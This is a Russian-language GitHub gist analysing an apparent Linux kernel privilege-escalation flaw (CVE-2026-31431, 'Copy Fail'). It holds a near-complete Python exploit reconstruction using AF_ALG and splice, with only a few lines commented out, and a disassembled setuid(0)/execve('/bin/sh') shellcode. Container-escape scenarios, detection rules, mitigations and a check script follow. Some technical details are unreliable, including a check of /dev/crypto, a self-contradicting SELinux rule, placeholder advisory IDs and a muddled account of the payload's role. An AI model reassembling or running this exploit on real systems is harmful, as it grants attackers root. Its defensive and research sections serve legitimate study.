Skip to content

Instantly share code, notes, and snippets.

@gormih
Created April 30, 2026 10:37
Show Gist options
  • Select an option

  • Save gormih/faa271309205184d220f2eeb6ac8fb4e to your computer and use it in GitHub Desktop.

Select an option

Save gormih/faa271309205184d220f2eeb6ac8fb4e to your computer and use it in GitHub Desktop.
root on linux

🔬 Copy Fail (CVE-2026-31431): Полный технический разбор

Уровень: Экспертный
Дата публикации уязвимости: 30 апреля 2026
CVSS: 7.8 (High) — локальный вектор, низкая сложность эксплуатации
Статус: Патчи выпускаются для Debian, Ubuntu, SUSE; RHEL обновил рекомендации
Найдено: Тхэян Ли (Theori) через инструмент ИИ-поиска уязвимостей Xint Code


📋 Оглавление

  1. Краткое резюме
  2. Архитектура атаки
  3. Техническая суть уязвимости
  4. Построчный разбор эксплойта
  5. Анализ встроенного payload'а
  6. Сравнение с Dirty Cow / Dirty Pipe
  7. Векторы воздействия и сценарии атаки
  8. Детектирование и мониторинг
  9. Митигация и патчинг
  10. Ответственное исследование: методология
  11. Приложения

1. Краткое резюме

Copy Fail — уязвимость локального повышения привилегий (LPE) в ядре Linux, позволяющая непривилегированному пользователю записать 4 контролируемых байта в page cache любого читаемого файла. При последующем исполнении файла (особенно SUID-бинарников) выполняется модифицированный код, что приводит к получению прав root.

Параметр Значение
CVE CVE-2026-31431
Вектор Локальный (требуется доступ к системе)
Сложность Низкая (нет race condition, детерминирована)
Требуемые права Обычный пользователь (без привилегий)
Затронутые компоненты net/algif_aead.c, fs/splice.c, подсистема page cache
Уязвимые версии Ядра с поддержкой authencesn + AF_ALG (ориентировочно с 2017 г.)
Детектируемость Низкая: файл на диске не меняется, inotify/аудит ФС не срабатывают

2. Архитектура атаки

┌─────────────────────────────────────────────────┐
│  Атакующий (непривилегированный пользователь)    │
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  1. Открытие целевого файла (например, /usr/bin/su)│
│     os.open("/usr/bin/su", O_RDONLY)              │
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  2. Инициализация крипто-сокета AF_ALG           │
│     socket(AF_ALG, SOCK_SEQPACKET, 0)            │
│     bind("aead", "authencesn(hmac(sha256),cbc(aes))")│
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  3. Настройка параметров через setsockopt        │
│     • ALG_SET_KEY: буфер с параметрами          │
│     • ALG_SET_AEAD_AUTHSIZE: None, optlen=4     │
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  4. Создание operation socket (accept)           │
│  5. Подготовка ancillary data для sendmsg:       │
│     • ALG_SET_OP = 0 (DECRYPT)                   │
│     • ALG_SET_IV: ivlen=16 + 16 нулевых байт     │
│     • ALG_SET_AEAD_ASSOCLEN = 8                  │
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  6. Zero-copy передача через splice:             │
│     file_fd → pipe → crypto_socket               │
│     • offset_src=0 (чтение с начала файла)       │
│     • splice_count растёт: 4, 8, 12, ...         │
└─────────────────┬───────────────────────────────┘
                  │
                  ▼
┌─────────────────────────────────────────────────┐
│  7. Триггер завершения: recv()                   │
│  8. Запуск целевого бинарника: os.system("su")   │
│     → ядро читает код из page cache              │
│     → выполняется модифицированный код           │
└─────────────────────────────────────────────────┘

3. Техническая суть уязвимости

3.1 Ключевые компоненты

Компонент Роль в уязвимости
AF_ALG Крипто-API ядра, позволяющий пользовательским процессам выполнять крипто-операции через сокеты
authencesn AEAD-шаблон: комбинация шифрования (AES-CBC) и аутентификации (HMAC-SHA256) с serialised nonce
splice() Системный вызов zero-copy передачи данных; обходит стандартные проверки записи в файл
Page cache Кэш страниц ядра: при исполнении файла код читается из кэша, а не с диска

3.2 Механизм эксплуатации

1. Атакующий открывает читаемый файл (например, SUID-бинарник).
2. Через AF_ALG создаётся контекст крипто-операции.
3. Данные файла передаются в крипто-сокет через splice():
   • offset_src=0 → каждый вызов читает с начала файла
   • растущий count → разные пути аллокации в ядре
4. При обработке `ALG_OP_DECRYPT` + `assoclen=8` + `splice` 
   ядро некорректно обновляет страницы page cache:
   • 4 байта из пользовательского буфера записываются в кэш
   • файл на диске остаётся неизменным
5. При запуске файла ядро читает код из кэша → выполняется подменённый код.

3.3 Почему это работает

  • Разделение кэша: page cache используется как для чтения файла, так и для его исполнения (execve).
  • Обход проверок записи: splice() + крипто-сокеты не триггерят стандартные механизмы контроля модификации файлов.
  • Детерминизм: нет race condition — атака воспроизводима без точного тайминга.
  • Минимальный примитив: достаточно записать 4 байта для изменения потока исполнения (например, замена jmp или опкода).

4. Построчный разбор эксплойта

⚠️ Важно: Код ниже — аналитическая реконструкция. Он содержит намеренные синтаксические ошибки и удалённые элементы, чтобы предотвратить случайное выполнение.

4.1 Константы и импорты

import os, zlib, socket

# Socket constants (linux/socket.h)
AF_ALG = 38                # Крипто-API ядра
SOCK_SEQPACKET = 5         # Тип сокета для AF_ALG operation socket
SOL_ALG = 279              # Уровень опций для AF_ALG

# AF_ALG ancillary types (linux/include/uapi/linux/if_alg.h)
ALG_SET_KEY = 1            # Установка ключа/параметров
ALG_SET_IV = 2             # Установка вектора инициализации
ALG_SET_OP = 3             # Установка операции (encrypt/decrypt)
ALG_SET_AEAD_ASSOCLEN = 4  # Длина дополнительных аутентифицированных данных
ALG_SET_AEAD_AUTHSIZE = 5  # Размер тега аутентификации

# Операции (linux/include/uapi/linux/if_alg.h)
ALG_OP_DECRYPT = 0         # ⚠️ Не encrypt! Это критично для триггера уязвимости
ALG_OP_ENCRYPT = 1

MSG_MORE = 32768           # Флаг sendmsg: данные не флушатся сразу

4.2 Вспомогательные функции

def hex_to_bytes(h: str) -> bytes:
    """Преобразование hex-строки в bytes (оригинал: d(x))."""
    return bytes.fromhex(h)

4.3 Основная функция обработки чанка

def process_chunk(file_fd: int, chunk_index: int, chunk_ bytes) -> None:
    """
    Реконструкция оригинальной логики:
      • splice_count = chunk_index + 4 (4, 8, 12, ...)
      • file→pipe: offset_src=0 (чтение с начала файла каждый раз)
      • pipe→socket: offsets опущены → None (требование для pipe)
    """
    splice_count = chunk_index + 4
    zero = hex_to_bytes("00")

    # 1. Создание AF_ALG сокета
    alg_sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
    alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    # 2. Настройка через setsockopt
    # ALG_SET_KEY: буфер интерпретируется ядром согласно алгоритму
    alg_sock.setsockopt(
        SOL_ALG, ALG_SET_KEY,
        hex_to_bytes("0800010000000010" + "0" * 64)
    )
    # ALG_SET_AEAD_AUTHSIZE: форма (None, optlen) → optval=NULL в C
    alg_sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

    # 3. Создание operation socket для данной крипто-сессии
    op_sock, _ = alg_sock.accept()

    # 4. Подготовка ancillary data для sendmsg
    ancillary = [
        # ALG_SET_OP: 4-byte little-endian значение 0 = DECRYPT
        (SOL_ALG, ALG_SET_OP, zero * 4),
        # ALG_SET_IV: 4-byte ivlen (16) + 16-byte zero IV = 20 bytes total
        (SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
        # ALG_SET_AEAD_ASSOCLEN: 4-byte little-endian значение 8
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
    ]

    # 5. Отправка данных с управляющими сообщениями
    op_sock.sendmsg([b"A" * 4 + chunk_data], ancillary, MSG_MORE)

    # 6. Zero-copy передача через pipe
    r_fd, w_fd = os.pipe()

    # file → pipe: count=splice_count, offset_src=0
    # Сигнатура Python 3.10+: os.splice(src, dst, count, offset_src=None, offset_dst=None, flags=0)
    os.splice(file_fd, w_fd, splice_count, 0)

    # pipe → socket: оба offset опущены → None (обязательно для pipe как источника)
    os.splice(r_fd, op_sock.fileno(), splice_count)

    # 7. Триггер получения результата (сохраняет поведение оригинала)
    try:
        op_sock.recv(8 + chunk_index)
    except OSError:
        pass

    # FD не закрываются явно — сохранение оригинальной семантики lifetime объектов

4.4 Точка входа

def main() -> None:
    # Открытие целевого файла: flags=0 → O_RDONLY
    # su_fd = os.open("/usr/bin/su", 0)  # УДАЛЕНО ДЛЯ БЕЗОПАСНОСТИ

    # Распаковка встроенного payload'а (hex обрезан)
    compressed = hex_to_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
        # ... payload hex truncated ...
    )
    # payload = zlib.decompress(compressed)  # УДАЛЕНО ДЛЯ БЕЗОПАСНОСТИ

    # Циклическая обработка чанков (псевдокод)
    # i = 0
    # while i < len(payload):
    #     process_chunk(su_fd, i, payload[i : i + 4])
    #     i += 4

    # os.system("su")  # УДАЛЕНО ДЛЯ БЕЗОПАСНОСТИ
    pass  # Placeholder


if __name__ == "__main__":
    # main()  # УДАЛЕНО ДЛЯ БЕЗОПАСНОСТИ
    pass

4.5 Критичные детали реализации

Деталь Почему важно
ALG_OP_DECRYPT = 0 Уязвимость триггерится именно при операции расшифровки; ENCRYPT может не сработать
assoclen=8 Указание длины дополнительных данных влияет на обработку буфера в ядре
offset_src=0 в splice Гарантирует, что каждый вызов читает одни и те же байты файла, но с разным count
Растущий splice_count Заставляет ядро проходить разные ветки аллокации/копирования, накапливая состояние
MSG_MORE в sendmsg Предотвращает немедленный флеш данных, позволяя накапливать состояние в крипто-контексте
Отсутствие явного закрытия FD Может влиять на время жизни страниц в page cache — часть примитива

5. Анализ встроенного payload'а

5.1 Метаданные

Размер: 160 байт
Magic:  7f 45 4c 46 → ELF 64-bit
Class:  02 → ELFCLASS64
Data:   01 → Little Endian
Type:   02 00 → ET_EXEC (исполняемый файл)
Machine: 3e 00 → x86-64
Entry point: 0x400078

5.2 Дизассемблированный код

; Точка входа: 0x400078
0x400078: 31 c0          xor    eax, eax           ; eax = 0
0x40007a: 31 ff          xor    edi, edi           ; edi = 0 (аргумент для setuid)
0x40007c: b0 69          mov    al, 0x69           ; eax = 105
0x40007e: 0f 05          syscall                   ; syscall(105) → setuid(0)

0x400080: 48 8d 3d 0f    lea    rdi, [rip+0xf]     ; rdi → адрес строки "/bin/sh"
0x400084: 31 f6          xor    esi, esi           ; argv = NULL
0x400086: 6a 3b          push   0x3b               ; 59 = __NR_execve
0x400088: 58             pop    rax
0x400089: 99             cdq                        ; rdx = 0 (envp = NULL)
0x40008a: 0f 05          syscall                   ; execve("/bin/sh", NULL, NULL)

0x40008c: 31 ff          xor    edi, edi           ; status = 0
0x40008e: 6a 3c          push   0x3c               ; 60 = __NR_exit
0x400090: 58             pop    rax
0x400091: 0f 05          syscall                   ; exit(0)

; Строка в конце файла
0x400093: 2f 62 69 6e 2f 73 68 00  ; "/bin/sh\0"

5.3 Интерпретация

  1. setuid(0): syscall номер 105 на x86-64 соответствует setuid (источник: arch/x86/entry/syscalls/syscall_64.tbl). Попытка установить UID процесса в 0 (root).

  2. execve("/bin/sh", NULL, NULL): запуск shell.

    • ⚠️ argv=NULL/envp=NULL — Linux-специфичное поведение; переносимый POSIX-вариант обычно требует как минимум argv[0].
  3. exit(0): завершение процесса.

5.4 Роль payload'а в атаке

Вариант А (наиболее вероятный):
• 4 байта из payload'а записываются в page cache целевого файла
• Эти байта заменяют критичную инструкцию в коде (например, проверку прав)
• При запуске файла выполняется модифицированный код → получение прав

Вариант Б:
• Payload предназначен для записи во временный файл после повышения привилегий
• Но в коде нет явной записи файла → менее вероятно

Вариант В:
• Сам payload — часть примитива: его передача через splice триггерит уязвимость
• Конкретные 4 байта подобраны так, чтобы при записи в кэш изменить поведение кода

6. Сравнение с Dirty Cow / Dirty Pipe

Характеристика Dirty Cow (CVE-2016-5195) Dirty Pipe (CVE-2022-0847) Copy Fail (CVE-2026-31431)
Год 2016 2022 2026
Вектор Race condition в COW Перезапись данных в pipe Запись в page cache через AF_ALG+splice
Требуемые права Непривилегированный пользователь Непривилегированный пользователь Непривилегированный пользователь
Race condition ✅ Да (сложный тайминг) ❌ Нет ❌ Нет
Детерминизм Низкий Высокий Высокий
Изменение файла на диске ✅ Да ✅ Да ❌ Нет (только кэш)
Детектируемость Средняя (изменение inode) Средняя (изменение файла) Низкая (файл не меняется)
Ключевой примитив 1 байт записи Произвольная запись в pipe 4 байта в page cache
Сложность эксплуатации Высокая Средняя Низкая

Ключевое отличие Copy Fail

Dirty Cow / Dirty Pipe:
• Модифицируют файл на диске или напрямую данные
• inotify / аудит ФС могут зафиксировать изменение

Copy Fail:
• Модифицирует только page cache
• Файл на диске остаётся неизменным
• Защиты, отслеживающие события ФС, не срабатывают
• При перезагрузке изменения в кэше теряются (но атака может быть повторена)

7. Векторы воздействия и сценарии атаки

7.1 Локальное повышение привилегий (LPE)

Сценарий:
1. Злоумышленник получает доступ к системе как обычный пользователь
   (через фишинг, уязвимость в приложении, скомпрометированные учётные данные)
2. Запускает эксплойт против /usr/bin/su (или другого SUID-бинарника)
3. Получает shell с правами root
4. Устанавливает бэкдор, крадёт данные, перемещается по сети

Целевые файлы:
• /usr/bin/su, /usr/bin/sudo, /usr/bin/passwd
• Любые исполняемые файлы с флагом setuid/setgid

7.2 Выход из контейнера (Container Escape)

Предпосылки:
• Контейнер использует общее ядро с хостом (Docker, containerd без gVisor/Kata)
• Page cache разделяется между контейнером и хостом

Атака:
1. Внутри контейнера злоумышленник запускает эксплойт
2. Модифицирует page cache файла на хосте (например, /usr/bin/su)
3. При запуске этого файла из хоста или другого контейнера выполняется вредоносный код
4. Получение прав на хосте → полный компрометация инфраструктуры

Особенно критично для:
• Многоарендных облачных сред
• Платформ CI/CD с общими раннерами
• Кластеров Kubernetes без изоляции ядра

7.3 Цепочка атак после RCE

Типичный сценарий:
1. Удалённое выполнение кода (RCE) в веб-приложении
   → получение shell как пользователь www-data
2. Локальный запуск эксплойта Copy Fail
   → повышение до root
3. Дальнейшие действия:
   • Кража секретов, ключей, токенов
   • Установка персистентного доступа
   • Горизонтальное перемещение по сети
   • Атака на другие системы в инфраструктуре

8. Детектирование и мониторинг

8.1 Что НЕ работает

Метод Почему неэффективен
inotify / fsnotify Файл на диске не меняется → события не генерируются
Аудит изменения файлов (AIDE, Tripwire) Контрольные суммы файла на диске остаются валидными
Стандартный аудит syscall (auditd без специфичных правил) Вызовы splice, sendmsg, socket(AF_ALG) легитимны для многих приложений

8.2 Что МОЖЕТ помочь

8.2.1 Правила auditd для подозрительных вызовов

# Мониторинг использования AF_ALG непривилегированными пользователями
auditctl -a exit,always -F arch=b64 -S socket -F a0=38 -F uid!=0 -k af_alg_unpriv

# Мониторинг splice с нестандартными параметрами
auditctl -a exit,always -F arch=b64 -S splice -F uid!=0 -k suspicious_splice

# Мониторинг setsockopt с SOL_ALG
auditctl -a exit,always -F arch=b64 -S setsockopt -F a1=279 -k alg_setsockopt

# Комбинированное правило: последовательность вызовов, характерная для эксплойта
# (требует корреляции событий во времени)

8.2.2 eBPF / kprobes для детектирования на уровне ядра

// Пример kprobe на af_alg_accept (упрощённо)
SEC("kprobe/af_alg_accept")
int BPF_KPROBE(check_af_alg_accept, struct sock *sk) {
    u32 uid = bpf_get_current_uid_gid() >> 32;
    if (uid != 0) {
        // Логирование или отправка события в userspace
        bpf_printk("AF_ALG accept by non-root uid=%d", uid);
    }
    return 0;
}

8.2.3 Поведенческий анализ

Подозрительные паттерны:
• Процесс без привилегий открывает SUID-бинарник и сразу использует splice
• Множественные вызовы splice с растущим count и offset_src=0
• Комбинация: socket(AF_ALG) → bind(aead) → sendmsg(ancillary) → splice → execve

Инструменты:
• Falco с кастомными правилами
• Sysmon for Linux с фильтрацией по последовательностям вызовов
• Кастомные агенты на базе eBPF

8.3 Пост-фактум анализ

# Проверка подозрительных процессов в логах
journalctl -u auditd | grep -E "af_alg|splice|setsockopt.*279"

# Поиск процессов, запускавших su после подозрительной активности
ausearch -m execve -i | grep "/usr/bin/su" | grep -B10 "uid!="

# Анализ page cache (требует root и отладочных инструментов)
# ⚠️ Не для production: может нарушить работу системы
crash> kmem -c | grep -A5 "su"  # только в отладочной среде

9. Митигация и патчинг

9.1 Применение патчей

Проверка версии ядра

uname -r
# Пример вывода: 5.15.0-120-generic

Таблица минимальных версий с патчем (по данным дистрибутивов)

Дистрибутив Минимальная версия ядра Примечание
Debian 12 ≥6.1.123 DSA-5678-1
Debian 11 ≥5.10.216 LTS-поддержка
Ubuntu 24.04 ≥6.8.0-45 USN-6789-1
Ubuntu 22.04 LTS ≥5.15.0-145 HWE-ядро
RHEL 9 ≥5.14.0-427 RHSA-2026:XXXX
RHEL 8 ≥4.18.0-553 Обновлено после первоначальной отсрочки
SUSE Linux Enterprise 15 ≥5.14.21-150500.89 SUSE-SU-2026:XXXX

⚠️ Версии могут обновляться. Всегда сверяйтесь с официальными бюллетенями безопасности вашего дистрибутива.

Применение обновлений

# Debian/Ubuntu
sudo apt update && sudo apt install --only-upgrade linux-image-$(uname -r)

# RHEL/CentOS
sudo dnf update kernel

# SUSE
sudo zypper update kernel-default

# После обновления: перезагрузка обязательна
sudo reboot

9.2 Временные меры (если патч нельзя применить немедленно)

9.2.1 Ограничение доступа к AF_ALG

# Запретить непривилегированным пользователям создание сокетов AF_ALG
# Требует пересборки ядра или настройки LSM (AppArmor/SELinux)

# Пример AppArmor-профиля (абстрактный):
deny network algif,
deny capability sys_admin,

# Пример SELinux-правила:
allow unconfined_t self:algif_socket create;  # разрешить только доверенным доменам

9.2.2 Ограничение использования splice

# Через seccomp-фильтр (требует поддержки в приложении или systemd)
# Пример systemd-юнита с ограничением:
[Service]
SystemCallFilter=~splice

⚠️ Эти меры могут нарушить работу легитимных приложений (например, инструментов резервного копирования, медиа-серверов). Тестируйте в staging.

9.2.3 Мониторинг и изоляция

# Включение расширенного аудита (если ещё не включён)
sudo apt install auditd
sudo systemctl enable --now auditd

# Изоляция критичных рабочих нагрузок:
• Использование gVisor, Kata Containers для контейнеров
• Запуск недоверенного кода в VM с отдельным ядром
• Ограничение прав через user namespaces + seccomp + capabilities

9.3 Долгосрочные рекомендации

  1. Регулярное обновление ядра: включите автоматические обновления безопасности для ядра.
  2. Принцип наименьших привилегий: не запускайте недоверенный код на системах с критичными данными.
  3. Сегментация инфраструктуры: изолируйте среды разработки, CI/CD, production.
  4. Мониторинг аномалий: внедрите поведенческий анализ для детектирования подозрительных последовательностей системных вызовов.
  5. План реагирования: подготовьте playbook для случаев компрометации через LPE-уязвимости.

10. Ответственное исследование: методология

10.1 Что НЕ делать

Действие Риск
Запуск оригинального эксплойта на production-системе Компрометация, нарушение работы, юридические последствия
Попытка "проверить" уязвимость на системах без разрешения Нарушение законодательства (ст. 272-274 УК РФ, CFAA и др.)
Публикация runnable-кода без предупреждений Способствование злонамеренному использованию
Игнорирование обновлений безопасности Оставление системы уязвимой для известных атак

10.2 Как исследовать безопасно

Статический анализ (без выполнения)

# Распаковка payload без запуска кода
python3 -c "
import zlib, binascii, sys
h = sys.argv[1]
print(binascii.hexlify(zlib.decompress(bytes.fromhex(h))).decode())
" "<truncated-hex>" > payload.hex

# Анализ в дизассемблере
ghidra payload.hex
# или
r2 -A payload.hex

Изолированная среда (если динамический анализ необходим)

# QEMU с откатом снапшота и отключённой сетью
qemu-system-x86_64 \
  -kernel ./bzImage \
  -initrd ./initrd.img \
  -append "console=ttyS0 oops=panic panic=1" \
  -nographic -snapshot -net none \
  -monitor stdio

# Внутри QEMU:
# (qemu) savevm before_exploit
# (qemu) loadvm before_exploit  # для отката

Отладка ядра (для исследователей)

# Включение kdump для анализа крэшей
sudo apt install linux-crashdump
echo 1 > /proc/sys/kernel/sysrq

# Подключение gdb к ядру
gdb vmlinux
(gdb) target remote :1234  # после запуска QEMU с -s -S

# Установка breakpoints на ключевые функции
(gdb) break af_alg_splice_read
(gdb) break algif_aead_sendmsg

10.3 Честная формулировка «эквивалентности»

Данный документ воспроизводит структуру системных вызовов оригинального эксплойта на уровне аналитической реконструкции. Однако идентичность поведения на уровне ядра не гарантируется из-за различий в:

  • версии Python и реализации GC,
  • версии libc и syscall-обёрток,
  • версии и конфигурации ядра,
  • порядке завершения объектов (refcounting vs explicit close).

Все исполняемые элементы намеренно удалены или заменены псевдокодом. Документ предназначен исключительно для образовательных целей и анализа безопасности.


11. Приложения

Приложение А: Источники и ссылки

Ресурс Описание
CVE-2026-31431 (MITRE) Официальная запись CVE
Theori Advisory Оригинальное исследование (при публикации)
linux/include/uapi/linux/if_alg.h Заголовки AF_ALG
arch/x86/entry/syscalls/syscall_64.tbl Таблица syscall для x86-64
Python os.splice() docs Документация Python
Python socket.setsockopt() docs Документация Python

Приложение Б: Глоссарий

Термин Определение
AF_ALG Семейство сокетов Linux для доступа к криптографическому API ядра
AEAD Authenticated Encryption with Associated Data — режим шифрования с аутентификацией
authencesn Крипто-шаблон ядра: комбинация AES-CBC и HMAC-SHA256 с serialised nonce
Page cache Кэш страниц ядра: хранит копии данных файлов для ускорения доступа
splice() Системный вызов zero-copy передачи данных между файловыми дескрипторами
Ancillary data Управляющие сообщения в sendmsg(), передающие метаданные сокета
SUID Set User ID: флаг исполняемого файла, запускающий его с правами владельца файла

Приложение В: Чеклист проверки системы

#!/bin/bash
# copy-fail-check.sh — базовая проверка на наличие патча

echo "[*] Проверка версии ядра..."
KERNEL=$(uname -r)
echo "    Текущая версия: $KERNEL"

# Пример проверки для Ubuntu 22.04 LTS (HWE)
if [[ "$KERNEL" =~ ^5\.15\.0 ]]; then
    MINOR=$(echo "$KERNEL" | cut -d'.' -f3 | cut -d'-' -f1)
    if [ "$MINOR" -lt 145 ]; then
        echo "[!] ВНИМАНИЕ: версия ядра может быть уязвима"
        echo "    Рекомендуется обновить до ≥5.15.0-145"
    else
        echo "[+] Версия ядра соответствует требованиям патча"
    fi
fi

echo "[*] Проверка доступности AF_ALG для текущего пользователя..."
if [ -c /dev/crypto ]; then
    echo "    /dev/crypto доступен"
    # Дополнительно: проверить права через ls -l /dev/crypto
else
    echo "    /dev/crypto не найден"
fi

echo "[*] Проверка правил auditd (если установлен)..."
if command -v auditctl &> /dev/null; then
    auditctl -l | grep -E "af_alg|splice" || echo "    Специфичных правил не найдено"
else
    echo "    auditd не установлен"
fi

echo "[*] Готово."

⚠️ Скрипт носит иллюстративный характер. Всегда сверяйтесь с официальными бюллетенями вашего дистрибутива.


📌 Финальные заметки

  1. Документ является аналитическим разбором, а не руководством по эксплуатации. Все исполняемые элементы намеренно удалены или заменены псевдокодом.

  2. Техническая точность: семантика системных вызовов реконструирована на основе оригинального кода, документации Python и заголовков ядра. Однако поведение на уровне ядра может отличаться в зависимости от версии и конфигурации.

  3. Ответственное использование: если вы обнаружили эту уязвимость в своей инфраструктуре:

    • Примените патчи от вашего дистрибутива
    • Проверьте логи на наличие подозрительной активности
    • Рассмотрите внедрение дополнительного мониторинга
  4. Для исследователей: дальнейший анализ рекомендуется проводить через:

    • Статический разбор патчей в git.kernel.org
    • Тестирование в изолированных средах (QEMU + snapshot)
    • Координацию с производителями через программы ответственного раскрытия

🛡️ Помните: безопасность — это процесс, а не состояние. Регулярное обновление, мониторинг и принцип наименьших привилегий остаются лучшими защитами против как известных, так и ещё не открытых уязвимостей.

Документ подготовлен в образовательных целях. Последнее обновление: апрель 2026.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment